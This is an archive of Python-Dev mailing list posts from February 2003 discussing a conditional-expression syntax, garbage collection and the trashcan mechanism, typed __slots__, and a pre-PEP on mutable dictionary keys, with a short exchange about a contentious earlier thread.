 <200302061707.h16H7Vm02222@europa.research.att.com> <200302061808.h16I8jM26135@odiug.zope.com>
Message-ID: <200302061827.h16IRZJ23109@europa.research.att.com>

Guido> Maybe I should write a PEP and let the folks in c.l.py vote on it,
Guido> just for fun.  (I expect to get about as many yes votes as no votes. :-)

You might consider correlating votes with people who like lambda,
because that's where I think the feature is really useful.

Which implies, by the way, that parentheses shouldn't be mandatory
in the following context:

   (lambda x, y, z: y if x else z)

Or, for that matter, in

   (lambda x, y, z: f(x, y if x else z))



From guido@python.org  Thu Feb  6 18:35:50 2003
From: guido@python.org (Guido van Rossum)
Date: Thu, 06 Feb 2003 13:35:50 -0500
Subject: [Python-Dev] Trinary Operators
In-Reply-To: Your message of "Thu, 06 Feb 2003 13:27:35 EST."
 <200302061827.h16IRZJ23109@europa.research.att.com>
References: <20030206043026.GA29482@homer.gst.com> <20030206140647.GA1498@cthulhu.gerg.ca> <yu99fzr1cq4e.fsf@europa.research.att.com> <200302061702.h16H26723375@odiug.zope.com> <200302061707.h16H7Vm02222@europa.research.att.com> <200302061808.h16I8jM26135@odiug.zope.com>
 <200302061827.h16IRZJ23109@europa.research.att.com>
Message-ID: <200302061835.h16IZoe27507@odiug.zope.com>

> You might consider correlating votes with people who like lambda,
> because that's where I think the feature is really useful.

Good point.

> Which implies, by the way, that parentheses shouldn't be mandatory
> in the following context:
> 
>    (lambda x, y, z: y if x else z)
> 
> Or, for that matter, in
> 
>    (lambda x, y, z: f(x, y if x else z))

But does

    x, y if p else z

mean

    x, (y if p else z)

or

    (x, y) if p else z

???

--Guido van Rossum (home page: http://www.python.org/~guido/)


From esr@thyrsus.com  Thu Feb  6 18:33:45 2003
From: esr@thyrsus.com (Eric S. Raymond)
Date: Thu, 6 Feb 2003 13:33:45 -0500
Subject: [Python-Dev] Trinary Operators
In-Reply-To: <200302061835.h16IZoe27507@odiug.zope.com>
References: <20030206043026.GA29482@homer.gst.com> <20030206140647.GA1498@cthulhu.gerg.ca> <yu99fzr1cq4e.fsf@europa.research.att.com> <200302061702.h16H26723375@odiug.zope.com> <200302061707.h16H7Vm02222@europa.research.att.com> <200302061808.h16I8jM26135@odiug.zope.com> <200302061827.h16IRZJ23109@europa.research.att.com> <200302061835.h16IZoe27507@odiug.zope.com>
Message-ID: <20030206183345.GC22912@thyrsus.com>

Guido van Rossum <guido@python.org>:
> > You might consider correlating votes with people who like lambda,
> > because that's where I think the feature is really useful.
> 
> Good point.

As a confirmed lambda fan and somebody who wants the trinary op
badly enough that I *implemented* it once, I strongly concur.  
This wouldn't completely repair the weakness of lambdas, but
it would be substantial help.

Should I dust off that patch and write a PEP?
-- 
		<a href="http://www.catb.org/~esr/">Eric S. Raymond</a>


From tismer@tismer.com  Thu Feb  6 18:47:41 2003
From: tismer@tismer.com (Christian Tismer)
Date: Thu, 06 Feb 2003 19:47:41 +0100
Subject: [Python-Dev] Python 2.3a1's mandatory use of cyclic GC causes
 existing applications to fail
In-Reply-To: <BIEJKCLHCIOIHAGOKOLHIEGLEMAA.tim.one@comcast.net>
References: <BIEJKCLHCIOIHAGOKOLHIEGLEMAA.tim.one@comcast.net>
Message-ID: <3E42ADCD.8010605@tismer.com>

Tim Peters wrote:
> [Christian Tismer]
> 
>>It might be not so hard to make trashcan able
>>to register new types at run-time.
> 
> 
> They don't have to do anything extra now -- registering with gc is
> sufficient in current CVS.

Do you remember who wrote Trashcan? :-)

Oh, I see, you want to point out that I would
cause other changes to be done. I wasn't aware
that trashcan is used in other places but those
I implemented, yet.

> It's also a fine fit:  if they're fat containers
> for which the trashcan is appropriate, they can also be involved in cycles.

Indeed it is a fine fit. After some thought, I begin
to believe that they fit so well, that they could
become *one* option (and trashcan is unchanged):

- Either you want GC, then you also get trashcan.
- Or you dont want it. Trashcan disappears, too.

My reasoning is simple: If people think they can
resolve their cycles by hand, then they most
probably also can take care of not creating deeply
nested structures to be killed.

And if I hadn't written trashcan, I doubt it would
exist today, at all. :-)

As a side remark, since you asked me about the
relevance of Stackless: I just realized that with
Stackless 2.0, the need for trashcan is completely
gone, and I will disable the trashcan macros for
a stackless build of Python in my trunk.
Thanks for helping me to think clearly.

> Note too that people can get back more memory than gc consumes by declaring
> new-style classes to use __slots__.  That's a new memory-optimization
> gimmick, and an effective one.

Very true. The flipside is, that in memory-critical
applications people tend to avoid myriads of tiny
container objects and already use tuples, instead.
But these are now more expensive, and they're biten.

I think one way to overcome this problem is to allow
new-style classes to specify whether they want to be
GC-ed or not. We (I) could implement a new __use_gc__
flag or something to give users an option.

Alternatively, to GC or not GC could be driven by
inheritance. I used that in my flextype implementation.
When a class inherits from no GC-ed anchestors only,
it doesn't install GC as well.

Anyway, with something like that it should be possible
to build tiny container objects of fixed size (again
saving a word) which are even smaller than un-GC-ed
tuples.

As a last remark (although this is too long already),
I'd also like to extend the __slots__ syntax by the
ability to express "embedded types", like the types
supported by array. This again saves a lot of memory
when you know your attribute is always some simple type,
which need not become an object.

cheers - chris

-- 
Christian Tismer             :^)   <mailto:tismer@tismer.com>
Mission Impossible 5oftware  :     Have a break! Take a ride on Python's
Johannes-Niemeyer-Weg 9a     :    *Starship* http://starship.python.net/
14109 Berlin                 :     PGP key -> http://wwwkeys.pgp.net/
work +49 30 89 09 53 34  home +49 30 802 86 56  pager +49 173 24 18 776
PGP 0x57F3BF04       9064 F4E1 D754 C2FF 1619  305B C09C 5A3B 57F3 BF04
      whom do you want to sponsor today?   http://www.stackless.com/




From guido@python.org  Thu Feb  6 18:58:51 2003
From: guido@python.org (Guido van Rossum)
Date: Thu, 06 Feb 2003 13:58:51 -0500
Subject: [Python-Dev] Re: Pre-PEP: Mutable keys in dictionaries
In-Reply-To: Your message of "Thu, 06 Feb 2003 12:09:55 EST."
 <b1u4pa$95c$1@main.gmane.org>
References: <r01050400-1023-2B11A7CA396511D7B33C003065D5E7E4@[10.0.0.23]>
 <b1u4pa$95c$1@main.gmane.org>
Message-ID: <200302061858.h16IwpO28826@odiug.zope.com>

> Can __temporary_immutable__ work on a multi-threaded system?  What is to 
> prevent the (known to be mutable) key from changing underneath you during 
> the lookup?  Perhaps I am misunderstanding, but it seems to me that you 
> must either copy the mutable key or be able to block all writers to the key 
> during the lookup.

The sets module has this problem now.  Our approach to this is to
document that sets are not thread-safe.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From graham_guttocks@yahoo.co.nz  Thu Feb  6 19:02:30 2003
From: graham_guttocks@yahoo.co.nz (=?iso-8859-1?q?Graham=20Guttocks?=)
Date: Fri, 7 Feb 2003 08:02:30 +1300 (NZDT)
Subject: [Python-Dev] Re: How to lose potential users/developers
In-Reply-To: <JHEOKEOOLIGLDHCMAHMOIEMDGBAA.marklists@mceahern.com>
Message-ID: <20030206190230.58640.qmail@web10302.mail.yahoo.com>

Mark McEahern <marklists@mceahern.com> wrote: 
>
> Perhaps you can demonstrate your character by taking the initiative and
> resolving this situation amicably?

I don't know what to tell you. I made a mistake with how I phrased
my original question, and the situation was made worse by people on
this list making many unfounded assumptions. I was never allowed to
recover.

I think my post raised some interesting discussion, but it also created
lots of animosity, which I apologize for. However, except for Tim and
Barry, I think the Python developers who filled my mailbox with petty
personal insults should be ashamed of themselves and how they chose to
represent their project.

Frankly, this whole ordeal has left me feeling nauseous, and I'd really
like to see this cycle of hate just die now.

=====
Regards,
Graham

http://greetings.yahoo.com.au - Yahoo! Greetings
- Send some online love this Valentine's Day.


From guido@python.org  Thu Feb  6 19:03:21 2003
From: guido@python.org (Guido van Rossum)
Date: Thu, 06 Feb 2003 14:03:21 -0500
Subject: [Python-Dev] Trinary Operators
In-Reply-To: Your message of "Thu, 06 Feb 2003 13:33:45 EST."
 <20030206183345.GC22912@thyrsus.com>
References: <20030206043026.GA29482@homer.gst.com> <20030206140647.GA1498@cthulhu.gerg.ca> <yu99fzr1cq4e.fsf@europa.research.att.com> <200302061702.h16H26723375@odiug.zope.com> <200302061707.h16H7Vm02222@europa.research.att.com> <200302061808.h16I8jM26135@odiug.zope.com> <200302061827.h16IRZJ23109@europa.research.att.com> <200302061835.h16IZoe27507@odiug.zope.com>
 <20030206183345.GC22912@thyrsus.com>
Message-ID: <200302061903.h16J3LO29085@odiug.zope.com>

> As a confirmed lambda fan and somebody who wants the trinary op
> badly enough that I *implemented* it once, I strongly concur.  
> This wouldn't completely repair the weakness of lambdas, but
> it would be substantial help.
> 
> Should I dust off that patch and write a PEP?

I don't recall what syntax your patch implemented.

If you want to write or co-author the PEP for (x if C else y), be my
guest!  (You probably have more time than I do at this point.)

--Guido van Rossum (home page: http://www.python.org/~guido/)


From guido@python.org  Thu Feb  6 19:09:18 2003
From: guido@python.org (Guido van Rossum)
Date: Thu, 06 Feb 2003 14:09:18 -0500
Subject: [Python-Dev] Python 2.3a1's mandatory use of cyclic GC causes existing applications to fail
In-Reply-To: Your message of "Thu, 06 Feb 2003 19:47:41 +0100."
 <3E42ADCD.8010605@tismer.com>
References: <BIEJKCLHCIOIHAGOKOLHIEGLEMAA.tim.one@comcast.net>
 <3E42ADCD.8010605@tismer.com>
Message-ID: <200302061909.h16J9II29413@odiug.zope.com>

> - Either you want GC, then you also get trashcan.
> - Or you dont want it. Trashcan disappears, too.

That's a great idea!  Why didn't I think of it. :-)

> My reasoning is simple: If people think they can
> resolve their cycles by hand, then they most
> probably also can take care of not creating deeply
> nested structures to be killed.

[...]

> Alternatively, to GC or not GC could be driven by
> inheritance. I used that in my flextype implementation.
> When a class inherits from no GC-ed anchestors only,
> it doesn't install GC as well.

That's a fine idea.  It would require that there were two standard
base classes: object and gcobject.  Or better, object and nogcobject;
I think that GC should still be the default for classes that have any
instance variables at all.

> As a last remark (although this is too long already),
> I'd also like to extend the __slots__ syntax by the
> ability to express "embedded types", like the types
> supported by array. This again saves a lot of memory
> when you know your attribute is always some simple type,
> which need not become an object.

Can you suggest a concrete syntax to do this?  Maybe setting __slots__
to a dictionary mapping names to type specifiers would do it -- and it
would even be backwards compatible: currently, if __slots__ is a dict,
its keys are used as slot names and its values are ignored, by virtue
of the way the type constructor iterates over __slots__.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From marklists@mceahern.com  Thu Feb  6 19:12:56 2003
From: marklists@mceahern.com (Mark McEahern)
Date: Thu, 6 Feb 2003 13:12:56 -0600
Subject: [Python-Dev] Re: How to lose potential users/developers
In-Reply-To: <20030206190230.58640.qmail@web10302.mail.yahoo.com>
Message-ID: <JHEOKEOOLIGLDHCMAHMOKEPJGBAA.marklists@mceahern.com>

[Graham Guttocks]
> I don't know what to tell you. I made a mistake with how I phrased
> my original question, and the situation was made worse by people on
> this list making many unfounded assumptions. I was never allowed to
> recover.
>
> I think my post raised some interesting discussion, but it also created
> lots of animosity, which I apologize for. However, except for Tim and
> Barry, I think the Python developers who filled my mailbox with petty
> personal insults should be ashamed of themselves and how they chose to
> represent their project.
>
> Frankly, this whole ordeal has left me feeling nauseous, and I'd really
> like to see this cycle of hate just die now.

Graham,

I hope you're not soured on Python.  It takes character to admit to one's
mistakes--as you've done here.

Python is truly a beautiful language, IMHO.  It's a gift that keeps on
giving.  And the Python community, for the very most part, is quite
friendly.  Everyone has their buttons, though, eh?

I hope that you find a way to try again.  Python-Dev is a lot more serious
than comp.lang.python.  Understandably.  It's not surprising that you didn't
know what the atmosphere was like there before you posted.  (Heck, I don't
even know what it's **really** like; as I said, I mostly lurk.)  I'm not
excusing or defending anyone.  (That's not really my place.)  All I hope is
that you bring the best of yourself to the community, should you choose to
stay.  If you do that, we'll all be enriched.  Join us over on c.l.py.  I
think you'll find it a welcoming place.

Even if you had read the FAQs (I don't know whether you did or not; and I
don't particularly care), you might not have expected the treatment you got.
However, some of that nuance you only get by observing the list, observing
someone cross whatever invisible lines in the sand there are.

Well, anyway, have a good day.

Best,

// mark

-



From ark@research.att.com  Thu Feb  6 19:14:14 2003
From: ark@research.att.com (Andrew Koenig)
Date: Thu, 6 Feb 2003 14:14:14 -0500 (EST)
Subject: [Python-Dev] Trinary Operators
In-Reply-To: <200302061835.h16IZoe27507@odiug.zope.com> (message from Guido
 van Rossum on Thu, 06 Feb 2003 13:35:50 -0500)
References: <20030206043026.GA29482@homer.gst.com> <20030206140647.GA1498@cthulhu.gerg.ca> <yu99fzr1cq4e.fsf@europa.research.att.com> <200302061702.h16H26723375@odiug.zope.com> <200302061707.h16H7Vm02222@europa.research.att.com> <200302061808.h16I8jM26135@odiug.zope.com>
 <200302061827.h16IRZJ23109@europa.research.att.com> <200302061835.h16IZoe27507@odiug.zope.com>
Message-ID: <200302061914.h16JEEr23775@europa.research.att.com>

>> Which implies, by the way, that parentheses shouldn't be mandatory
>> in the following context:
>> 
>> (lambda x, y, z: y if x else z)
>> 
>> Or, for that matter, in
>> 
>> (lambda x, y, z: f(x, y if x else z))

Guido> But does

Guido>     x, y if p else z

Guido> mean

Guido>     x, (y if p else z)

Guido> or

Guido>     (x, y) if p else z

Guido> ???

It should be consistent with the rest of the language.

What I'm thinking is that there are some contexts in which
precedence is irrelevant, because the context is bounded unambiguously
on each side.  For example, in

   f( <anything> )

there's no difficulty in figuring out that the <anything> ends just
before the ) that matches the (.  Similarly, in

   f( <anything>, <anything>)

there is still no difficulty because the ( , ) delimiters belong
together.

There's a slightly differnt rule for lamba, because it depends on
knowing unambiguously where the surrounding context ends.  Example:

	y = lambda x: x+1

There must be some kind of precedence rule to determine where the
lambda-expression ends, lest it be interpreted as

        y = (lambda x: x) + 1

So I see if/else as acting like lambda: If you enclose it in
parentheses, there's no ambiguity; if not, then it relies on knowing
something about the surrounding context.  Whatever the rules are
for figuring out the context should apply to if/else also.

Incidentally, that doesn't rule out making some questionable cases
ambiguous.  I note, for example, that

	    [i, i for i in range(10)]

doesn't compile, even though I can see only one plausible way of
parsing it (namely as

	    [(i, i) for i in range(10)]

), but on the other hand,

            [lambda x: i for i in range(10)]

compiles just fine (and yields a list of functions)


From esr@thyrsus.com  Thu Feb  6 19:12:04 2003
From: esr@thyrsus.com (Eric S. Raymond)
Date: Thu, 6 Feb 2003 14:12:04 -0500
Subject: [Python-Dev] Trinary Operators
In-Reply-To: <200302061903.h16J3LO29085@odiug.zope.com>
References: <20030206043026.GA29482@homer.gst.com> <20030206140647.GA1498@cthulhu.gerg.ca> <yu99fzr1cq4e.fsf@europa.research.att.com> <200302061702.h16H26723375@odiug.zope.com> <200302061707.h16H7Vm02222@europa.research.att.com> <200302061808.h16I8jM26135@odiug.zope.com> <200302061827.h16IRZJ23109@europa.research.att.com> <200302061835.h16IZoe27507@odiug.zope.com> <20030206183345.GC22912@thyrsus.com> <200302061903.h16J3LO29085@odiug.zope.com>
Message-ID: <20030206191204.GF22912@thyrsus.com>

Guido van Rossum <guido@python.org>:
> > Should I dust off that patch and write a PEP?
> 
> I don't recall what syntax your patch implemented.

I implemented a ? b : c, which you rejected for good reasons.
My choice today would be C ? x ! y, but x if C else y has some
attractions.

> If you want to write or co-author the PEP for (x if C else y), be my
> guest!  (You probably have more time than I do at this point.)

I'll put it on my to-do list.  Immediate action is unlikely as I have
a road trip coming up.
-- 
		<a href="http://www.catb.org/~esr/">Eric S. Raymond</a>


From guido@python.org  Thu Feb  6 18:57:33 2003
From: guido@python.org (Guido van Rossum)
Date: Thu, 06 Feb 2003 13:57:33 -0500
Subject: [Python-Dev] Pre-PEP: Mutable keys in dictionaries
In-Reply-To: Your message of "Thu, 06 Feb 2003 00:54:26 +0100."
 <r01050400-1023-2B11A7CA396511D7B33C003065D5E7E4@[10.0.0.23]>
References: <r01050400-1023-2B11A7CA396511D7B33C003065D5E7E4@[10.0.0.23]>
Message-ID: <200302061857.h16IvXu28747@odiug.zope.com>

> Here's a quick pre-PEP.
> 
> 
> Allow mutable objects as dictionary keys in certain cases by adding a
> new protocol. dict.__setitem__() and __contains__() would work like this
> bit of pseudo code:
> 
>   def __setitem__(self, key, value):
>       if not hashable(key):
>           if hasattr(key, "__immutable_copy__"):
>               key = key.__immutable_copy__()
>           else:
>               raise TypeError, "unhashable key"
>       ...insert value with key into dict...
> 
>   def __contains__(self, key):
>       if not hashable(key):
>           if hasattr(key, "__temporary_immutable__"):
>               key = key.__temporary_immutable__()
>           else:
>               raise TypeError, "unhashable key"
>       ...test for key membership...
> 
>   (other methods would be similar)
> 
> When implemented in C in dictobject.c, this would add no overhead for
> the "normal" case (when keys _are_ directly hashable).

I have a small doubt about this claim.  Inserting code into
PyDict_SetItem(), even if it is normally never executed, may reduce
code locality and hence cause the code to miss the cache more often
than before.  This *may* be addressed by rearranging the code, but
there's a limit to that.

I have a countersuggestion.

Could you do this as a subclass of dict?  A subclass in Python would
be inefficient, but might still be good enough for your second use
case (the ObjC bridge).  If not, a subclass in Python might be
feasible -- it would be a little bit more work than integrating it
into dictobject.c, but you have a lot less convincing to do, and you
can even get it to work with Python 2.2.

> The __temporary_immutable__ part of the protocol is needed to avoid
> unneccesary copying in those cases where the key isn't actually inserted
> into the dict, but is only used for membership testing. It would return
> a wrapper around the mutable object, defining __eq__ and __hash__. (This
> idea is stolen from the sets.py module.) If an implementer doesn't care
> about this efficiency, __temporary_immutable__ can be an alias to
> __immutable_copy__.
> 
> 
> Use Cases:
> 
> - sets.py could be written more efficiently and/or could be more easily
>   be rewritten in C.
> 
> - Again, the troubles of bridging Python to Objective-C have triggered
>   this idea. Due to the nature of Objective-C in general, and Cocoa in
>   particular, we can never be sure beforehand whether a string is
>   mutable or not. We can detect mutability at runtime, but depending on
>   this is dangerous as it exposes an implementation detail that may
>   change between releases of _any_ API that returns strings. Therefore
>   code that works in one setup may break in another, or even in the the
>   same setup after an arbitrary library upgrade, simply because an API
>   suddenly returns a mutable string where it didn't before. Yes this
>   sucks, but it's the way it is. <Add link to post from bbum explaining
>   this situation in detail>
> 
> 
> Backwards compatibilty:
> 
> 100%.
> 
> Overhead added
> 
> None
> 
> 
> Implementation
> 
> There's quite a bit of code duplication in those areas of dictobject.c
> that matter for this proposal, so implementing it will take longer than
> the 10 minutes I originally estimated <wink>. Perhaps this is a good
> opportunity to refactor these bits into inline functions? Not being a C
> guru I can't judge whether this is possible or desirable with the set of
> compilers that Python must be built with.

You can't rely on inline.  OTOH, GCC -O3 often inlines static
functions without needing a hint.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From theller@python.net  Thu Feb  6 19:25:52 2003
From: theller@python.net (Thomas Heller)
Date: 06 Feb 2003 20:25:52 +0100
Subject: [Python-Dev] Python 2.3a1's mandatory use of cyclic GC causes existing applications to fail
In-Reply-To: <200302061909.h16J9II29413@odiug.zope.com>
References: <BIEJKCLHCIOIHAGOKOLHIEGLEMAA.tim.one@comcast.net>
 <3E42ADCD.8010605@tismer.com>
 <200302061909.h16J9II29413@odiug.zope.com>
Message-ID: <el6li533.fsf@python.net>

Guido van Rossum <guido@python.org> writes:

> > As a last remark (although this is too long already),
> > I'd also like to extend the __slots__ syntax by the
> > ability to express "embedded types", like the types
> > supported by array. This again saves a lot of memory
> > when you know your attribute is always some simple type,
> > which need not become an object.
> 
> Can you suggest a concrete syntax to do this?  Maybe setting __slots__
> to a dictionary mapping names to type specifiers would do it -- and it
> would even be backwards compatible: currently, if __slots__ is a dict,
> its keys are used as slot names and its values are ignored, by virtue
> of the way the type constructor iterates over __slots__.

May I suggest to use an ordered sequence (of pairs) instead of a dict
for __slots__.  Then you also can completely control the layout that
C code sees and construct C compatible structures or other data types
from pure Python code.

<plug>
Here's how ctypes does it: It's named _fields_ instead of __slots__,
and typically you write something like this

  class Point(Structure):
      _fields_ = [("x", "i"),
                  ("y", "i")]

which defines a Python objects having x and y instance vars, which
must be integers.

ctypes extends this so that instead of the (struct module compatible)
format specified "i", also Python objects are allowed which describe
a C data type.

Thomas



From jacobs@penguin.theopalgroup.com  Thu Feb  6 19:31:29 2003
From: jacobs@penguin.theopalgroup.com (Kevin Jacobs)
Date: Thu, 6 Feb 2003 14:31:29 -0500 (EST)
Subject: [Python-Dev] Python 2.3a1's mandatory use of cyclic GC causes
 existing applications to fail
In-Reply-To: <200302061909.h16J9II29413@odiug.zope.com>
Message-ID: <Pine.LNX.4.44.0302061426150.14109-100000@penguin.theopalgroup.com>

On Thu, 6 Feb 2003, Guido van Rossum wrote:
> Can you suggest a concrete syntax to do this?  Maybe setting __slots__
> to a dictionary mapping names to type specifiers would do it -- and it
> would even be backwards compatible: currently, if __slots__ is a dict,
> its keys are used as slot names and its values are ignored, by virtue
> of the way the type constructor iterates over __slots__.

I already use __slots__ assigned to dictionaries where the values are not
ignored.  They are interpreted by a metaclass to apply type conversion
operators and type/value enforcement predicates to slots.  I hope that
future versions of Python will not tread on this feature.  (Though I'd
happily trade in this feature in exchange for having __slots__ be immutable)

Meta-regards,
-Kevin

-- 
--
Kevin Jacobs
The OPAL Group - Enterprise Systems Architect
Voice: (216) 986-0710 x 19         E-mail: jacobs@theopalgroup.com
Fax:   (216) 986-0714              WWW:    http://www.theopalgroup.com



From jacobs@penguin.theopalgroup.com  Thu Feb  6 19:39:45 2003
From: jacobs@penguin.theopalgroup.com (Kevin Jacobs)
Date: Thu, 6 Feb 2003 14:39:45 -0500 (EST)
Subject: [Python-Dev] Python 2.3a1's mandatory use of cyclic GC causes
 existing applications to fail
In-Reply-To: <el6li533.fsf@python.net>
Message-ID: <Pine.LNX.4.44.0302061433270.14109-100000@penguin.theopalgroup.com>

On 6 Feb 2003, Thomas Heller wrote:
> Guido van Rossum <guido@python.org> writes:
> > Can you suggest a concrete syntax to do this?  Maybe setting __slots__
> > to a dictionary mapping names to type specifiers would do it -- and it
> > would even be backwards compatible: currently, if __slots__ is a dict,
> > its keys are used as slot names and its values are ignored, by virtue
> > of the way the type constructor iterates over __slots__.
> 
> May I suggest to use an ordered sequence (of pairs) instead of a dict
> for __slots__.  Then you also can completely control the layout that
> C code sees and construct C compatible structures or other data types
> from pure Python code.

I'm happy with this approach, so long as the tuples can also be keys in a
dictionary.  ;)

Here is an example of what my metaclass does:

> <plug>
> Here's how ctypes does it: It's named _fields_ instead of __slots__,
> and typically you write something like this
> 
>   class Point(Structure):
>       _fields_ = [("x", "i"),
>                   ("y", "i")]
> 
> which defines a Python objects having x and y instance vars, which
> must be integers.

My metaclass does something similar, though it does not affect the storage,
only the validity constraints:

def enforce_int(x):
  if not isinstance(x, (int,long)):
    raise TypeError

def enforce_str(x):
  if not isinstance(x, basestring):
    raise TypeError

class Foo(object):
  __metaclass__ = ConstraintObject
  __slots__ = { 'a' : enforce_int,
                'b' : enforce_str,
                'c' : str }

foo = Foo()
foo.a = 1
foo.a = 1.0
> TypeError
foo.b = '1'
foo.b = 1
> TypeError
foo.c = 1
type(foo.c) == '1'

-Kevin

-- 
--
Kevin Jacobs
The OPAL Group - Enterprise Systems Architect
Voice: (216) 986-0710 x 19         E-mail: jacobs@theopalgroup.com
Fax:   (216) 986-0714              WWW:    http://www.theopalgroup.com



From gherron@islandtraining.com  Thu Feb  6 18:39:52 2003
From: gherron@islandtraining.com (Gary Herron)
Date: Thu, 6 Feb 2003 10:39:52 -0800
Subject: [Python-Dev] Trinary Operators
In-Reply-To: <200302061808.h16I8jM26135@odiug.zope.com>
References: <20030206043026.GA29482@homer.gst.com> <200302061707.h16H7Vm02222@europa.research.att.com> <200302061808.h16I8jM26135@odiug.zope.com>
Message-ID: <200302061039.52903.gherron@islandtraining.com>

On Thursday 06 February 2003 10:08 am, Guido van Rossum wrote:
> > Guido> I think I've seen the suggestion
> >
> > Guido>     x = (y if y>z else z)
> >
> > Guido> :-)
> >
> > That's not bad, even though it looks Perlish :-)
> >
> > It has the advantage of looking like a list comprehension.
> >
> > I presume the parentheses would be mandatory.
>
> Maybe I should write a PEP and let the folks in c.l.py vote on it,
> just for fun.  (I expect to get about as many yes votes as no votes. :-)
>

If this is just for fun, why stop with just "trinary"?  How about one
of the following (depending on ease of parsing)?  These look even more
like list comprehension.

  x = (e1 if c1        e2 if c2        e3 if c3  ...  else d)
  x = (e1 if c1  else  e2 if c2  else  e3 if c3  ...  else d)


 I guess we'd have to call it the n-ary operator.


Gary Herron



From gsw@agere.com  Thu Feb  6 19:44:47 2003
From: gsw@agere.com (Gerald S. Williams)
Date: Thu, 6 Feb 2003 14:44:47 -0500
Subject: [Python-Dev] Re: Trinary Operators
In-Reply-To: <20030206190302.31313.24868.Mailman@mail.python.org>
Message-ID: <GBEGLOMMCLDACBPKDIHFGEFFDCAA.gsw@agere.com>

Guido van Rossum wrote:
> > Guido>     x = (y if y>z else z)
> Maybe I should write a PEP and let the folks in c.l.py vote on it,
> just for fun.  (I expect to get about as many yes votes as no votes. :-)

As long as you wait until April 1 (that's an odd day).

I'm an even-day fan of trinary operators myself, but
this opens too many questions. For example, with
regard to short-circuiting, it will be inconsistent
with other expressions at some level in either form
or function.

-Jerry



From just@letterror.com  Thu Feb  6 19:42:59 2003
From: just@letterror.com (Just van Rossum)
Date: Thu,  6 Feb 2003 20:42:59 +0100
Subject: [Python-Dev] Pre-PEP: Mutable keys in dictionaries
In-Reply-To: <200302061857.h16IvXu28747@odiug.zope.com>
Message-ID: <r01050400-1023-347AD22C3A0B11D7A5DA003065D5E7E4@[10.0.0.23]>

[JvR]
> > When implemented in C in dictobject.c, this would add no overhead
> > for the "normal" case (when keys _are_ directly hashable).

[GvR]
> I have a small doubt about this claim.  Inserting code into
> PyDict_SetItem(), even if it is normally never executed, may reduce
> code locality and hence cause the code to miss the cache more often
> than before.  This *may* be addressed by rearranging the code, but
> there's a limit to that.

Ok, so this will need to be addressed somehow.

> I have a countersuggestion.
> 
> Could you do this as a subclass of dict?  A subclass in Python would
> be inefficient, but might still be good enough for your second use
> case (the ObjC bridge).  If not, a subclass in Python might be
> feasible -- it would be a little bit more work than integrating it
> into dictobject.c, but you have a lot less convincing to do, and you
> can even get it to work with Python 2.2.

But it doesn't solve our problem. We have no control over what
dictionaries are used, either by our users directly or by the Python
library they use. We _do_ have control over the keys that are causing
troubles: our main problem is that we cannot rely on NSString instances
to be immutable, yet we need the ability to use them as keys in
(regular) dicts, just as if they were Python strings.

Just


From tismer@tismer.com  Thu Feb  6 19:46:33 2003
From: tismer@tismer.com (Christian Tismer)
Date: Thu, 06 Feb 2003 20:46:33 +0100
Subject: [Python-Dev] Python 2.3a1's mandatory use of cyclic GC causes
 existing applications to fail
In-Reply-To: <el6li533.fsf@python.net>
References: <BIEJKCLHCIOIHAGOKOLHIEGLEMAA.tim.one@comcast.net>	<3E42ADCD.8010605@tismer.com>	<200302061909.h16J9II29413@odiug.zope.com> <el6li533.fsf@python.net>
Message-ID: <3E42BB99.5010704@tismer.com>

Thomas Heller wrote:

[extending __slots__]

> May I suggest to use an ordered sequence (of pairs) instead of a dict
> for __slots__.  Then you also can completely control the layout that
> C code sees and construct C compatible structures or other data types
> from pure Python code.

Huh, are you fast!
I was about to propose exactly this same thing:
If we deal with flat types, then we also can
define their precise layout.

Using a dict would anyway be nicer to read,
because the colons are quite illustrative.
For literal dicts, it would be imaginable to
hook into the build_dict and grab the objects
from the stack in order...
...I see Guido's head shaking :-)

Another way would be not to go away from __slots__ as
a simple list, but allow to use structure objects
with the necessary attribute like name, type, whatever
instead of the name strings. This could go as far as
to also allow redefining getters and setters at the same
time.

Is this going too far?
Am I re-inventing something like CTypes?

At first thought, I'd stick with [(name, type), ...], just
to get things started.

> <plug>
> Here's how ctypes does it: It's named _fields_ instead of __slots__,
> and typically you write something like this
> 
>   class Point(Structure):
>       _fields_ = [("x", "i"),
>                   ("y", "i")]
> 
> which defines a Python objects having x and y instance vars, which
> must be integers.
> 
> ctypes extends this so that instead of the (struct module compatible)
> format specified "i", also Python objects are allowed which describe
> a C data type.

</plug>

What would this C data type be? Other structs as well,
or only atomic types? Do you think of even specifying
(name, bitsize, alignment), or is this overdone?

ciao - chris

-- 
Christian Tismer             :^)   <mailto:tismer@tismer.com>
Mission Impossible 5oftware  :     Have a break! Take a ride on Python's
Johannes-Niemeyer-Weg 9a     :    *Starship* http://starship.python.net/
14109 Berlin                 :     PGP key -> http://wwwkeys.pgp.net/
work +49 30 89 09 53 34  home +49 30 802 86 56  pager +49 173 24 18 776
PGP 0x57F3BF04       9064 F4E1 D754 C2FF 1619  305B C09C 5A3B 57F3 BF04
      whom do you want to sponsor today?   http://www.stackless.com/




From guido@python.org  Thu Feb  6 19:46:24 2003
From: guido@python.org (Guido van Rossum)
Date: Thu, 06 Feb 2003 14:46:24 -0500
Subject: [Python-Dev] Python 2.3a1's mandatory use of cyclic GC causes existing applications to fail
In-Reply-To: Your message of "Thu, 06 Feb 2003 14:31:29 EST."
 <Pine.LNX.4.44.0302061426150.14109-100000@penguin.theopalgroup.com>
References: <Pine.LNX.4.44.0302061426150.14109-100000@penguin.theopalgroup.com>
Message-ID: <200302061946.h16JkOj31730@odiug.zope.com>

> On Thu, 6 Feb 2003, Guido van Rossum wrote:
> > Can you suggest a concrete syntax to do this?  Maybe setting __slots__
> > to a dictionary mapping names to type specifiers would do it -- and it
> > would even be backwards compatible: currently, if __slots__ is a dict,
> > its keys are used as slot names and its values are ignored, by virtue
> > of the way the type constructor iterates over __slots__.
> 
> I already use __slots__ assigned to dictionaries where the values are not
> ignored.  They are interpreted by a metaclass to apply type conversion
> operators and type/value enforcement predicates to slots.  I hope that
> future versions of Python will not tread on this feature.  (Though I'd
> happily trade in this feature in exchange for having __slots__ be immutable)

Hm...  Given this feedback, it sounds like the only way to implement
Christian's suggestion in a backwards-compatible way would be to use a
different __xxx__ name, e.g. __fields__.  I also like the suggestion
of allowing control over the order as well.

--Guido van Rossum (home page: http://www.python.org/~guido/)



From exarkun@intarweb.us  Thu Feb  6 19:47:59 2003
From: exarkun@intarweb.us (Jp Calderone)
Date: Thu, 6 Feb 2003 14:47:59 -0500
